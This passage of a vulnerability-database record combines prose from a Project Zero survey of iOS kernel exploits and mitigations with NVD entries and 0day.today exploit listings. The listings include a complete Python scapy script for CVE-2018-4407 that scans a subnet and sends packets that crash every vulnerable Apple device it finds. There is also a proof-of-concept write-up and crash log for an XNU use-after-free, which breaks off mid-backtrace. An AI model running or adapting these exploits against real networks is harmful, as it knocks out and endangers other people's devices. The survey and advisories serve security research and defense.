to the fake kernel task port into the OOL ports array, and the OOL ports are received, yielding a fake kernel task port.\n\n** \n**\n\nNotes: Unlike most other exploits on this list which are structured linearly, SockPuppet is structured hierarchically, building on the same primitives throughout. This distinct structure is likely due to the power and stability of the underlying vulnerability: the bug directly provides both an arbitrary read and an arbitrary free primitive, and in practice both primitives are 100% safe and reliable because it is possible to check that the reallocation is successful. However, this structure means that there is no clear temporal boundary in the high-level exploit flow between the vulnerability-specific and generic exploitation. Instead, that boundary occurs between conceptual layers in the exploit code.\n\n** \n**\n\nThe SockPuppet bug was fixed in iOS 12.3 but reintroduced in iOS 12.4.\n\n** \n**\n\nReferences: [SockPuppet: A Walkthrough of a Kernel Exploit for iOS 12.4](<https://googleprojectzero.blogspot.com/2019/12/sockpuppet-walkthrough-of-kernel.html>), [SockPuppet exploit code](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1806#c13>).\n\n## AppleAVE2Driver exploit - iOS 12.4.1\n\nBy 08Tc3wBB ([@08Tc3wBB](<https://twitter.com/08Tc3wBB>)).\n\n** \n**\n\nThe vulnerability: CVE-2019-8795 is a memory corruption in AppleAVE2Driver whereby improper bounds checking leads to processing of out-of-bounds data, eventually resulting in a controlled virtual method call or arbitrary kfree(). CVE-2019-8794 is a kernel memory disclosure in AppleSPUProfileDriver due to uninitialized stack data being shared with userspace.\n\n** \n**\n\nExploit strategy: The KASLR slide is discovered using the AppleSPUProfileDriver vulnerability. OSData buffers containing fake task ports are sprayed using IOSurface properties. The vulnerability is triggered to free an OSData buffer at a hardcoded address, leaving a dangling OSData buffer accessible via IOSurface properties.\n\n** \n**\n\nSubsequent exploit flow: The dangling OSData buffer is reallocated with an OOL ports array and the OSData buffer is freed, leaving a dangling OOL ports array. The OOL ports array is reallocated with another OSData buffer, inserting pointers to the fake task ports sprayed earlier into the OOL ports array. The OOL ports are received, yielding send rights to the fake task ports, and pid_for_task() is used to read pointers to relevant kernel objects. The OSData buffer is freed and reallocated to convert one of the fake ports into a fake kernel task port.\n\n** \n**\n\nNotes: iOS versions up to 13.1.3 were vulnerable, but the exploit presented here targeted iOS 12.4.1.\n\n** \n**\n\nThe author developed two versions of this exploit: one for non-PAC devices, and one for PAC-enabled devices. The exploit presented here is for PAC-enabled devices.\n\n** \n**\n\nReferences: [ZecOps_FreeTheSandbox_iOS_PAC_TFP0_POC_BEQ_12_4_2 exploit code](<https://github.com/ZecOps/public/tree/master/ZecOps_FreeTheSandbox_iOS_PAC_TFP0_POC_BEQ_12_4_2>), [ZecOps Task-For-Pwn 0 Bounty: TFP0 POC on PAC-Enabled iOS Devices <= 12.4.2](<https://blog.zecops.com/vulnerabilities/releasing-first-public-task-for-pwn0-tfp0-granting-poc-on-ios/>), [SSD Advisory \u2013 iOS Jailbreak via Sandbox Escape and Kernel R/W leading to RCE](<https://ssd-disclosure.com/ssd-advisory-via-ios-jailbreak-sandbox-escape-and-kernel-r-w-leading-to-rce/>), [SSD Advisory 4066 exploit code](<https://github.com/ssd-secure-disclosure/advisories/tree/master/SSD%20Advisory%20-%204066>), [About the security content of iOS 13.2 and iPadOS 13.2](<https://support.apple.com/en-il/HT210721>).\n\n## oob_timestamp - iOS 13.3\n\nBy Brandon Azad.\n\n** \n**\n\nThe vulnerability: CVE-2020-3837 is a linear heap out-of-bounds write of up to 8 bytes of timestamp data in IOKit's IOAccelCommandQueue2::processSegmentKernelCommand() due to incorrect bounds checking.\n\n** \n**\n\nExploit strategy: The kernel map is groomed to lay out two 96 MB shared memory regions, an 8-page ipc_kmsg, an 8-page OOL ports array, and 80 MB of OSData buffers sprayed via IOSurface properties. The number of bytes to overflow is computed based on the current time and the overflow is triggered to corrupt the ipc_kmsg's ikm_size field, such that the ipc_kmsg now has a size of between 16 pages and 80 MB. The port containing the ipc_kmsg is destroyed, freeing the corrupted ipc_kmsg, the OOL ports array, and some of the subsequent OSData buffers. More OSData buffers are sprayed via IOSurface to reallocate the OOL ports array containing a pointer to a fake Mach port at a hardcoded address that is likely to overlap one of the 96 MB shared memory regions. The OOL ports are received, producing a receive right to a fake Mach port at a known address whose contents can be controlled directly.\n\n** \n**\n\nSubsequent exploit flow: A kernel memory read primitive is constructed using pid_for_task(). Relevant kernel objects are located and a fake kernel task port is constructed.\n\n** \n**\n\nNotes: iOS 13 introduced zone_require, a mitigation that checks whether certain objects are allocated from the expected zalloc zone before they are used. An oversight in the implementation led to a trivial bypass when objects are allocated outside of the zalloc_map.\n\n** \n**\n\nReferences: [oob_timestamp exploit code](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1986#c5>). \n\n\n## tachy0n (unc0ver 5.0.0) - iOS 13.5\n\nBy Pwn20wnd ([@Pwn20wnd](<https://twitter.com/Pwn20wnd>)), unc0ver Team ([@unc0verTeam](<https://twitter.com/unc0verTeam>)), and Siguza.\n\n** \n**\n\nThe vulnerability: The \"LightSpeed\" vulnerability (see \"Spice\" above; reintroduced in iOS 13).\n\n** \n**\n\nExploit strategy: (Analysis pending.) The vulnerable function is called in a loop in one thread to repeatedly trigger the vulnerability by allocating a buffer from kalloc.16 and racing to free the buffer twice. Preliminary results suggest that the freed kalloc.16 slot is reallocated by OSData buffers sprayed via IOSurface properties.\n\n** \n**\n\nSubsequent exploit flow: (Analysis pending.)\n\n** \n**\n\nNotes: The unc0ver exploit was released as an obfuscated binary; a more complete analysis of the exploit strategy and exploit flow will be released after the [tachy0n](<https://twitter.com/s1guza/status/1266433756270866433>) exploit code is published.\n\n** \n**\n\nWhile iOS 12 patched the LightSpeed vulnerability, the patch did not address the root cause and created a memory leak. This memory leak was fixed in iOS 13, but the change also reintroduced the old (vulnerable) behavior. This is a regression, not a variant: the original LightSpeed POC does trigger on iOS 13.\n\n \nReferences: [LightSpeed, a race for an iOS/macOS sandbox escape](<https://www.synacktiv.com/posts/exploit/lightspeed-a-race-for-an-iosmacos-sandbox-escape.html>), [unc0ver-v5.0.0.ipa](<https://github.com/pwn20wndstuff/Undecimus/releases/tag/v5.0.0>).\n\n# iOS kernel exploit mitigations\n\nNext we will look at some current iOS kernel exploit mitigations. This list is not exhaustive, but it briefly summarizes some of the mitigations that exploit developers may encounter up through iOS 13.\n\n## Kernel Stack Canaries - iOS 6\n\niOS 6 introduced kernel stack canaries (or stack cookies) to protect against stack buffer overflows in the kernel.\n\n \nNone of the exploits in this list are affected by the presence of stack canaries as they do not target stack buffer overflow vulnerabilities.\n\n## Kernel ASLR - iOS 6\n\nKernel Address Space Layout Randomization (Kernel ASLR or KASLR) is a mitigation that randomizes the base address of the kernelcache image in the kernel address space. Before Kernel ASLR was implemented, the addresses of kernel functions and objects in the kernelcache image were always located at a fixed address.\n\n** \n**\n\nBypassing or working around KASLR is a standard step of all modern iOS kernel exploits.\n\n## Kernel Heap ASLR - iOS 6\n\nSince iOS 6 the base addresses for various kernel heap regions have been randomized. This seeks to mitigate exploits that hardcode addresses at which objects will be deterministically allocated. \n\n** \n**\n\nWorking around kernel heap randomization is a standard step of modern iOS kernel exploits. Usually this involves heap spraying, in which the kernel is induced to allocate large amounts of data to influence the shape of the heap even when exact addresses are not known. Also, many vulnerabilities can be leveraged to produce an information leak, disclosing the addresses of relevant kernel objects on the heap.\n\n## W^X / DEP - iOS 6\n\niOS 6 also introduced substantial kernel address space hardening by ensuring that kernel pages are mapped either as writable or as executable, but never both (often called \"write xor execute\" or W^X). This means that page tables no longer map kernel code pages as writable, and the kernel heap and stack are no longer mapped as executable. (Ensuring that non-code data is not mapped as executable is often called Data Execution Prevention, or DEP.)\n\n** \n**\n\nModern public iOS exploits do not attempt to bypass W^X (e.g. by modifying page tables and injecting shellcode); instead, exploitation is achieved by modifying kernel data structures and performing code-reuse attacks instead. This is largely due to the presence of a stronger, hardware-enforced W^X mitigation called KTRR.\n\n## PXN - iOS 7\n\nApple's A7 processor was the first 64-bit, ARMv8-A processor in an iPhone. Previously, iOS 6 had separated the kernel and user address space so that user code and data pages were inaccessible during normal kernel execution. With the move to 64-bit, the address spaces were no longer separated. Thus, the Privileged Execute-Never (PXN) bit was set in page table entries to ensure that the kernel could not execute shellcode residing in userspace pages.\n\n** \n**\n\nSimilarly to W^X, PXN as a protection against jumping to userspace shellcode is overshadowed by the stronger protection of KTRR.\n\n## PAN - iOS 10\n\nPrivileged access-never (PAN) is an ARMv8.1-A security feature introduced with the Apple A10 processor that prevents the kernel from accessing virtual addresses that are also accessible to userspace. This is used to prevent the kernel from dereferencing attacker-supplied pointers to data structures in userspace. It is similar to the Supervisor Mode Access Prevention (SMAP) feature on some Intel processors.\n\n** \n**\n\nWhile PAN has been [bypassed](<http://siguza.github.io/PAN/>) before, modern public iOS kernel exploits usually work around PAN by spraying data into the kernel and then learning the address of the data. While the most reliable techniques involve disclosing the address of the data inserted into the kernel, techniques exist to work around PAN generically, such as spraying enough data to overwhelm the kernel map randomization and force a fixed, hardcoded address to be allocated with the controlled data. Other primitives exist for establishing shared memory mappings between userspace and the kernel, which can also be used to work around PAN.\n\n## KTRR - iOS 10\n\nKTRR (possibly Kernel Text Readonly Region, part of [Kernel Integrity Protection](<https://support.apple.com/guide/security/kernel-integrity-protection-secb1caeb4bc/1/web/1>)) is a custom hardware security mitigation introduced on the Apple A10 processor (ARMv8.1-A). It is a strong form of W^X protection enforced by the MMU and the memory controller over a single span of contiguous memory covering the read-only parts of the kernelcache image and some sensitive data structures like top-level page tables and the trust cache. It has also been [referred to by Apple](<https://i.blackhat.com/USA-19/Thursday/us-19-Krstic-Behind-The-Scenes-Of-IOS-And-Mas-Security.pdf>) as Kernel Integrity Protection (KIP) v1.\n\n** \n**\n\nWhile KTRR has been publicly bypassed [twice](<https://twitter.com/qwertyoruiopz/status/974907288501747713>) [before](<https://googleprojectzero.blogspot.com/2019/10/ktrw-journey-to-build-debuggable-iphone.html>), modern public iOS kernel exploits usually work around KTRR by not manipulating KTRR-protected memory.\n\n## APRR - iOS 11\n\nAPRR (possibly standing for [Access Protection Rerouting](<https://siguza.github.io/APRR/>) or [Access Permission Restriction Register](<https://support.apple.com/guide/security/kernel-integrity-protection-secb1caeb4bc/1/web/1>)) is a custom hardware feature on Apple A11 and later CPUs that indirects virtual memory access permissions (usually specified in the page table entry for the page) through a special register, allowing access permissions for large groups of pages to be changed atomically and per-core. It works by converting the bits in the PTE that typically directly specify the access permissions into an index into a special register containing the true access permissions; changing the register value swaps protections on all pages mapped with the same access permissions index. APRR is somewhat similar to the Memory Protection Keys feature available on newer Intel processors.\n\n** \n**\n\nAPRR on its own does not provide any security boundaries, but it makes it possible to segment privilege levels inside a single address space. It is heavily used by PPL to create a security boundary within the iOS kernel.\n\n## PPL - iOS 12\n\nPPL ([Page Protection Layer](<https://support.apple.com/guide/security/page-protection-layer-sec38dc659b4/1/web/1>)) is the software layer built on APRR and dependent on KTRR that aims to put a security boundary between kernel read/write/execute and direct page table access. The primary goal of PPL is to prevent an attacker from modifying user pages that have been codesigned (e.g. using kernel read/write to overwrite a userspace process's executable code). This necessarily means that PPL must also maintain total control over the page tables and prevent an attacker from mapping sensitive physical addresses, including page tables, page table metadata, and IOMMU registers.\n\n** \n**\n\nAs of May 2020, PPL has not been publicly bypassed. That said, modern iOS kernel exploits are so far unaffected by PPL.\n\n## PAC - iOS 12\n\nPointer Authentication Codes ([PAC](<https://support.apple.com/guide/security/pointer-authentication-codes-seca5759bf02/1/web/1>)) is an ARMv8.3-A security feature that mitigates pointer tampering by storing a cryptographic signature of the pointer value in the upper bits of the pointer. Apple introduced PAC with the A12 and significantly [hardened](<https://googleprojectzero.blogspot.com/2019/02/examining-pointer-authentication-on.html>) the implementation (compared to the ARM standard) in order to defend against attackers with kernel read/write, although for most purposes it is functionally indistinguishable. Apple's kernel uses PAC for control flow integrity (CFI), placing a security boundary between kernel read/write and kernel code execution.\n\n** \n**\n\nDespite [numerous](<https://bazad.github.io/presentations/MOSEC-2019-A-study-in-PAC.pdf>) [public](<https://i.blackhat.com/USA-19/Thursday/us-19-Wang-Attacking-IPhone-XS-Max.pdf>) [bypasses](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1986#c5>) of the iOS kernel's PAC-based CFI, PAC in the kernel is still an effective exploit mitigation: it has severely restricted exploitability of many bugs and killed some exploit techniques. For example, exploits in the past have used a kernel execute primitive in order to build a kernel read/write primitive (see e.g. ziVA); that is no longer possible on A12 without bypassing PAC first. Furthermore, extensive use of PAC-protected pointers in IOKit has made it significantly harder to turn many bugs into useful primitives. Given the long history of serious security issues in IOKit, this is a substantial win.\n\n## zone_require - iOS 13\n\nzone_require is a software mitigation introduced in iOS 13 that adds checks that certain pointers are allocated from the expected zalloc zones before using them. The most common zone_require checks in the iOS kernelcache are of Mach ports; for example, every time an ipc_port is locked, the zone_require() function is called to check that the allocation containing the Mach port resides in the ipc.ports zone (and not, for example, an OSData buffer allocated with kalloc()).\n\n** \n**\n\nSince fake Mach ports are an integral part of modern techniques, zone_require has a substantial impact on exploitation. Vulnerabilities like CVE-2017-13861 (async_wake) that drop a reference on an ipc_port no longer offer a direct path to creating a fake port. While zone_require has been publicly bypassed [once](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1986#c5>), the technique relied on an oversight in the implementation that is easy to correct.\n\n# Changelog\n\n2020/07/09\n\n| \n\nAn entry was added for tachy0n (unc0ver 5.0.0) - iOS 13.5. \n \n---|--- \n \n2020/06/19\n\n| \n\nThe entry on MachSwap was replaced with machswap2, since the latter works on PAN-enabled devices.\n\nAn entry was added for AppleAVE2Driver exploit - iOS 12.4.1.\n\nThe description for PAN was updated to clarify that it was introduced with the A10 processor, not iOS 10.\n\nThe description for PPL was updated to clarify that it primarily protects userspace processes, as the kernel's code is protected by KTRR. \n \n2020/06/11\n\n| \n\nOriginal post published.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-06-11T00:00:00", "type": "googleprojectzero", "title": "\nA survey of recent iOS kernel exploits\n", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-7644", "CVE-2017-13861", "CVE-2017-13865", "CVE-2017-2370", "CVE-2018-4150", "CVE-2018-4241", "CVE-2018-4243", "CVE-2018-4344", "CVE-2019-6225", "CVE-2019-7287", "CVE-2019-8605", "CVE-2019-8794", "CVE-2019-8795", "CVE-2020-12388", "CVE-2020-3837"], "modified": "2020-06-11T00:00:00", "id": "GOOGLEPROJECTZERO:37170621F78D33B9DDE68A73E0A16294", "href": "https://googleprojectzero.blogspot.com/2020/06/a-survey-of-recent-ios-kernel-exploits.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "cve": [{"lastseen": "2023-06-06T16:06:18", "description": "A memory corruption issue was addressed with improved validation. This issue affected versions prior to iOS 12, macOS Mojave 10.14, tvOS 12, watchOS 5.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2019-04-03T18:29:00", "type": "cve", "title": "CVE-2018-4407", "cwe": ["CWE-119"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-4407"], "modified": "2019-04-05T14:04:00", "cpe": [], "id": "CVE-2018-4407", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-4407", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "cpe23": []}, {"lastseen": "2023-06-06T15:11:41", "description": "A use after free issue was addressed with improved memory management. This issue is fixed in iOS 12.3, macOS Mojave 10.14.5, tvOS 12.3, watchOS 5.2.1. A malicious application may be able to execute arbitrary code with system privileges.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "cve", "title": "CVE-2019-8605", "cwe": ["CWE-416"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2019-12-20T17:47:00", "cpe": [], "id": "CVE-2019-8605", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-8605", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "cpe23": []}], "zdt": [{"lastseen": "2018-11-06T22:48:48", "description": "The vulnerability is a heap buffer overflow in the networking code in the XNU operating system kernel. XNU is used by both iOS and macOS, which is why iPhones, iPads, and Macbooks are all affected. My exploit PoC just overwrites the heap with garbage, which causes an immediate kernel crash and device reboot.#### Usage Info\nInstallation\r bash install.sh\r #! /bin/bash\rsudo apt install python3 python3-pip nmap\rpip3 uninstall nmap\rpip3 uninstall python-nmap \rpip3 install python-nmap scapy\r --------------------------------\r Usage\r python3 exploit.py", "cvss3": {}, "published": "2018-11-06T00:00:00", "type": "zdt", "title": "XNU Kernel iOS / macOS heap buffer overflow Exploit", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2018-4407"], "modified": "2018-11-06T00:00:00", "id": "1337DAY-ID-31545", "href": "https://0day.today/exploit/description/31545", "sourceData": "#! /usr/bin/python3\r\n\r\nimport os\r\nimport time\r\nimport nmap\r\nimport struct\r\nfrom scapy.all import *\r\n\r\ndef attack(src='192.168.1.95', subnet='192.168.1.0/24'):\r\n print (\"0day.today Scanning network, please wait...\")\r\n nm = nmap.PortScanner()\r\n nm.scan(hosts=subnet, arguments='-sP')\r\n list_of_ips = nm.all_hosts()\r\n list_of_ips = sorted(list_of_ips, key=lambda ip: struct.unpack(\"!L\", inet_aton(ip))[0])\r\n payload = \"\"\r\n for i in range(40):\r\n payload+=\"x\"\r\n for host in list_of_ips:\r\n print(\"[*] Sending Payload to \"+host+\" | Payload: \"+payload)\r\n send(IP(src=src, dst=host, options=payload)/TCP(options=[(19,\"x\"*18),(19,\"x\"*18)]))\r\n time.sleep(0.2)\r\n\r\nif __name__ == '__main__':\r\n try:\r\n if not os.geteuid() == 0:\r\n sys.exit('\\nscapy requires root privileges.\\n')\r\n isdefault = input('Default mode configuration:\\nYour IP: 192.168.1.95\\nYour subnet: 192.168.1.0/24\\nGo to custom configuration ? [\"yes\"/\"no\"] ')\r\n if isdefault=='no':\r\n attack()\r\n else:\r\n src = input('What is YOUR IP address ? (example: 192.168.1.95) ')\r\n subnet = input('What is the subnet address ? (example: 192.168.1.0/24) ')\r\n attack(src=src, subnet=subnet)\r\n except KeyboardInterrupt:\r\n print('\\nInterrupted\\n')\r\n try:\r\n sys.exit(0)\r\n except SystemExit:\r\nos._exit(0)\n\n# 0day.today [2018-11-06] #", "sourceHref": "https://0day.today/exploit/31545", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-06-06T17:24:11", "description": "", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-05-21T00:00:00", "type": "zdt", "title": "macOS < 10.14.5 / iOS < 12.3 XNU - in6_pcbdetach Stale Pointer Use-After-Free Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605"], "modified": "2019-05-21T00:00:00", "id": "1337DAY-ID-32762", "href": "https://0day.today/exploit/description/32762", "sourceData": "macOS < 10.14.5 / iOS < 12.3 XNU - in6_pcbdetach Stale Pointer Use-After-Free Exploit\n\n\n# Reproduction\nRepros on 10.14.3 when run as root. It may need multiple tries to trigger.\n$ clang -o in6_selectsrc in6_selectsrc.cc\n$ while 1; do sudo ./in6_selectsrc; done\nres0: 3\nres1: 0\nres1.5: -1 // failure expected here\nres2: 0\ndone\n...\n[crash]\n\n# Explanation\nThe following snippet is taken from in6_pcbdetach:\n```\nvoid\nin6_pcbdetach(struct inpcb *inp)\n{\n // ...\n\tif (!(so->so_flags & SOF_PCBCLEARING)) {\n\t\tstruct ip_moptions *imo;\n\t\tstruct ip6_moptions *im6o;\n\n\t\tinp->inp_vflag = 0;\n\t\tif (inp->in6p_options != NULL) {\n\t\t\tm_freem(inp->in6p_options);\n\t\t\tinp->in6p_options = NULL; // <- good\n\t\t}\n\t\tip6_freepcbopts(inp->in6p_outputopts); // <- bad\n\t\tROUTE_RELEASE(&inp->in6p_route);\n\t\t// free IPv4 related resources in case of mapped addr\n\t\tif (inp->inp_options != NULL) {\n\t\t\t(void) m_free(inp->inp_options); // <- good\n\t\t\tinp->inp_options = NULL;\n\t\t}\n```\n\nNotice that freed options must also be cleared so they are not accidentally reused.\nThis can happen when a socket is disconnected and reconnected without being destroyed.\nIn the inp->in6p_outputopts case, the options are freed but not cleared, so they can be\nused after they are freed.\n\nThis specific PoC requires root because I use raw sockets, but it's possible other socket\ntypes suffer from this same vulnerability.\n\n# Crash Log\npanic(cpu 4 caller 0xffffff8015cda29d): Kernel trap at 0xffffff8016011764, type 13=general protection, registers:\nCR0: 0x0000000080010033, CR2: 0x00007f9ae1801000, CR3: 0x000000069fc5f111, CR4: 0x00000000003626e0\nRAX: 0x0000000000000001, RBX: 0xdeadbeefdeadbeef, RCX: 0x0000000000000000, RDX: 0x0000000000000000\nRSP: 0xffffffa3ffa5bd30, RBP: 0xffffffa3ffa5bdc0, RSI: 0x0000000000000000, RDI: 0x0000000000000001\nR8: 0x0000000000000000, R9: 0xffffffa3ffa5bde0, R10: 0xffffff801664de20, R11: 0x0000000000000000\nR12: 0x0000000000000000, R13: 0xffffff80719b7940, R14: 0xffffff8067fdc660, R15: 0x0000000000000000\nRFL: 0x0000000000010282, RIP: 0xffffff8016011764, CS: 0x0000000000000008, SS: 0x0000000000000010\nFault CR2: 0x00007f9ae1801000, Error code: 0x0000000000000000, Fault CPU: 0x4, PL: 0, VF: 0\n\nBacktrace (CPU 4), Frame : Return Address\n0xffffff801594e290 : 0xffffff8015baeb0d mach_kernel : _handle_debugger_trap + 0x48d\n0xffffff801594e2e0 : 0xffffff8015ce8653 mach_kernel : _kdp_i386_trap + 0x153\n0xffffff801594e320 : 0xffffff8015cda07a mach_kernel : _kernel_trap + 0x4fa\n0xffffff801594e390 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0\n0xffffff801594e3b0 : 0xffffff8015bae527 mach_kernel : _panic_trap_to_debugger + 0x197\n0xffffff801594e4d0 : 0xffffff8015bae373 mach_kernel : _panic + 0x63\n0xffffff801594e540 : 0xffffff8015cda29d mach_kernel : _kernel_trap + 0x71d\n0xffffff801594e6b0 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0\n0xffffff801594e6d0 : 0xffffff8016011764 mach_kernel : _in6_selectsrc + 0x114\n0xffffffa3ffa5bdc0 : 0xffffff8016043015 mach_kernel : _nd6_setdefaultiface + 0xd75\n0xffffffa3ffa5be20 : 0xffffff8016120274 mach_kernel : _soconnectlock + 0x284\n0xffffffa3ffa5be60 : 0xffffff80161317bf mach_kernel : _connect_nocancel + 0x20f\n0xffffffa3ffa5bf40 : 0xffffff80161b62bb mach_kernel : _unix_syscall64 + 0x26b\n0xffffffa3ffa5bfa0 : 0xffffff8015b5c466 mach_kernel : _hndl_unix_scall64 + 0x16\n\nBSD process name corresponding to current thread: in6_selectsrc\nBoot args: keepsyms=1 -v=1\n\nMac OS version:\n18D109\n\n\n#include <stdio.h>\n#include <sys/types.h>\n#include <sys/ioctl.h>\n#include <sys/socket.h>\n#include <unistd.h>\n#include <net/if.h>\n#include <string.h>\n#include <netinet/in.h>\n#include <errno.h>\n\n/*\n# Reproduction\nRepros on 10.14.3 when run as root. It may need multiple tries to trigger.\n$ clang -o in6_selectsrc in6_selectsrc.cc\n$ while 1; do sudo ./in6_selectsrc; done\nres0: 3\nres1: 0\nres1.5: -1 // failure expected here\nres2: 0\ndone\n...\n[crash]\n\n# Explanation\nThe following snippet is taken from in6_pcbdetach:\n```\nvoid\nin6_pcbdetach(struct inpcb *inp)\n{\n // ...\n\tif (!(so->so_flags & SOF_PCBCLEARING)) {\n\t\tstruct ip_moptions *imo;\n\t\tstruct ip6_moptions *im6o;\n\n\t\tinp->inp_vflag = 0;\n\t\tif (inp->in6p_options != NULL) {\n\t\t\tm_freem(inp->in6p_options);\n\t\t\tinp->in6p_options = NULL; // <- good\n\t\t}\n\t\tip6_freepcbopts(inp->in6p_outputopts); // <- bad\n\t\tROUTE_RELEASE(&inp->in6p_route);\n\t\t// free IPv4 related resources in case of mapped addr\n\t\tif (inp->inp_options != NULL) {\n\t\t\t(void) m_free(inp->inp_options); // <- good\n\t\t\tinp->inp_options = NULL;\n\t\t}\n```\n\nNotice that freed options must also be cleared so they are not accidentally reused.\nThis can happen when a socket is disconnected and reconnected without being destroyed.\nIn the inp->in6p_outputopts case, the options are freed but not cleared, so they can be\nused after they are freed.\n\nThis specific PoC requires root because I use raw sockets, but it's possible other socket\ntypes suffer from this same vulnerability.\n\n# Crash Log\npanic(cpu 4 caller 0xffffff8015cda29d): Kernel trap at 0xffffff8016011764, type 13=general protection, registers:\nCR0: 0x0000000080010033, CR2: 0x00007f9ae1801000, CR3: 0x000000069fc5f111, CR4: 0x00000000003626e0\nRAX: 0x0000000000000001, RBX: 0xdeadbeefdeadbeef, RCX: 0x0000000000000000, RDX: 0x0000000000000000\nRSP: 0xffffffa3ffa5bd30, RBP: 0xffffffa3ffa5bdc0, RSI: 0x0000000000000000, RDI: 0x0000000000000001\nR8: 0x0000000000000000, R9: 0xffffffa3ffa5bde0, R10: 0xffffff801664de20, R11: 0x0000000000000000\nR12: 0x0000000000000000, R13: 0xffffff80719b7940, R14: 0xffffff8067fdc660, R15: 0x0000000000000000\nRFL: 0x0000000000010282, RIP: 0xffffff8016011764, CS: 0x0000000000000008, SS: 0x0000000000000010\nFault CR2: 0x00007f9ae1801000, Error code: 0x0000000000000000, Fault CPU: 0x4, PL: 0, VF: 0\n\nBacktrace (CPU 4), Frame : Return Address\n0xffffff801594e290 : 0xffffff8015baeb0d mach_kernel : _handle_debugger_trap + 0x48d\n0xffffff801594e2e0 : 0xffffff8015ce8653 mach_kernel : _kdp_i386_trap + 0x153\n0xffffff801594e320 : 0xffffff8015cda07a mach_kernel : _kernel_trap + 0x4fa\n0xffffff801594e390 : 0xffffff8015b5bca0 mach_kernel : _return_from_trap + 0xe0\n0xffffff801594e3b0 : 0xffffff8015bae527 mach_kernel : _panic_trap_to_debugger + 0x197\n0xffffff801594e4d0 : 0xffffff8015bae373 